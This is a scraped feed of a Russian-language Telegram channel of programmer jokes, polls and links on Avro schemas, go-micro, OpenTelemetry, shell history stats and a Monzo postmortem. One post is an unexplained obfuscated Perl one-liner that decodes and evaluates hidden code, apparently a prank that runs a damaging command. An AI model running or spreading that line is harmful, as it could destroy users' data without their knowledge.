oleg_log
1.74K subscribers
1.88K photos
131 videos
9 files
2.82K links
Shelter for antisocial programmers "Oleg"

halp: @olegkovalov
web: https://olegk.dev
fov: @oleg_fov
chat: @oleg_log_blabla
podcast: @generictalks
Download Telegram
Вы можете жить и продуктивно работать без автокомплита?
(Дада, плевать на язык, думайте о своих навыках глобально)
Anonymous Poll
50%
Да
50%
Не
Вспомнил долгоиграющую #саксес_сториз

Вот есть у нас в мире Protobuf, Avro, FlatBuffers, CapnProto и другие форматы, которые бинарны и хороши в версионировании.

Просто докидываешь новое поле/расширяешь схему и живешь дальше, не думая про прошлое, оно ведь иммутабельное...вот если тебе не жмет черепушка.

Стабильно пару раз в месяц кто-то берет и удаляет схему авро, создает новую и внезапно версии накладываются, или просто делает форс-ремув версии последней и создание другой. И как-то внезапно это бьет по рукам из-за кешей и схема-режестри, а в самом красивом случае микросервису на проде.

Чо, съэкономил 1 число из инт64? Красаучек
ну вот, пришло мое время
Часто замечаю вопрос: а как вам Микро? стоит брать? в проде не подведет?

— тестов меньше, чем в моих ридми
— в зависимостях тащится клиент телеги/дискорда/слака
— 1 man army с целью 10к звездочек (твиты автора)

Вывод: нинадо оно

виновник моей грусти github.com/micro/go-micro
Конечно этот код очень хорош и помогает в разработке, ведь в определении этой фции описано все, что только можно, но...

private fun convertUsingAllowedEngines(allowedConvertEngines: List<ConvertEngineType>, converter: Converter, clientName: String)

...хм, почему бы не назвать всё
convert(engines, converter, clientName)
а объяснения параметров перенести в доку-комент на 1 строку выше?

ах да, self-documenting cargo-mantra
How nasty/dirty is the raw internet?

This is the time (in seconds) between server boot on a public cloud provider (with public IP) and the first known hostile connection.

The ‘best’ is only 30 seconds.

At 90 seconds they’ve all been comprehensively port scanned.
https://twitter.com/fdmts/status/1157315943271403525
О, прикольно, оказывается OpenCensus и OpenTracing стали OpenTelemetry.

https://opentelemetry.io/

Оказывается это было 19 апреля анонсированно, нуок
https://medium.com/opentracing/a-roadmap-to-convergence-b074e5815289
Нашел твитер-тред где люди хвастаются своим топом команд в консоли. Этим можно собрать статистику (отвечаю, это не рмрф)

history | awk '{CMD[$2]++;count++;}END { for (a in CMD)print CMD[a] " " CMD[a]/count*100 "% " a;}' | grep -v "./" | column -c3 -s " " -t | sort -nr | nl |  head -n10


Твит с командой https://twitter.com/vincentpants/status/1148317661060722688
perl -es'!!),-#(-.?{<>-8#=..#<-*}>;*7-86)!;y!#()-?{}!\x20/`-v;<!;s++$_+ee'&:&:;
Если вам хочется оч активную ленту о #go в телеге, то могу посоветовать этот канал.

Автор англоговорящий, поэтому в чате сильно не пофлудите, наверное и хорошо.

https://xn--r1a.website/golang101
omg, в 76й версии хрома я так понимаю PWA завезли, которые progressive web apps. Появилось странное ощущение, что твитер начал работать быстрее. Хмммммм
Красивый однострочный постмортем от Monzo.

TLDR: добавляя новые машины в кластер, убедись, что у них есть хоть какие-то данные. Ну и читай доку.

https://monzo.com/blog/2019/09/08/why-monzo-wasnt-working-on-july-29th

PS: однострочная причина фейла
oleg_log
Красивый однострочный постмортем от Monzo. TLDR: добавляя новые машины в кластер, убедись, что у них есть хоть какие-то данные. Ну и читай доку. https://monzo.com/blog/2019/09/08/why-monzo-wasnt-working-on-july-29th PS: однострочная причина фейла
Саксес метрика, ёп. Всегда надеюсь, что это кол-во инстансов, но практика показывает, что это реально сервисы...

Я уже не 1й раз крутился в таких фирмах с 1к+ микросервисов, но чудом меня не заносило в их разработку (в core/infra-team всегда попадал). И из того, что успевал увидеть, чаще было превозмогание во имя императора.
∏ρ؃uñçτØρ Øπτµç∑ | 👁‍🗨››››
Photo
Ах да, это лаба с киевского политеха. Просто шикарный естественный отбор студентов от умных преподов.

(кстати после поста с перлом много людей убежало, кек :)
Я как-то пару раз собирал советы от ремоут работников, и что у них как...и Флант это сделали лучше меня.

Все, что я услышал от подписчиков есть в этом посте. Дадада, даже "спец" одежда для работы дома.

https://habr.com/ru/company/flant/blog/463619/
Где-то год назад влез в одну #саксес_сториз

После небольших изменений в коде, в тесте надо было проверить, что в хтмл-ответе присутствует жс код, небольшой совсем. Достаточно было проверить, что у одной переменной нужное значение, поэтому все восхитительно вытягивалось регуляркой (нет, это не персинг хтмл при помощи регулярок).

И вот на мой код (до ревью) глянул товарищ синьер...Оказывается это было там раньше, но на ревью эту идею убили другие синьеры, потребовав возвращать значение в хедере, специально для тестов. Причину их паники от .*? я так и не понял.

Внезапно на ревью это прошло без единого комента. Видно тогда обострение было.
oleg_log
Вы верите в блокчейн (БЧ) ?
(верить == надеяться на успешность и нужность, лол)
(речь не гит)
ок, шутку про ICO и криптовклады некоторые не оценили.

Опрос был именно про БЧ как хранилище и конракты.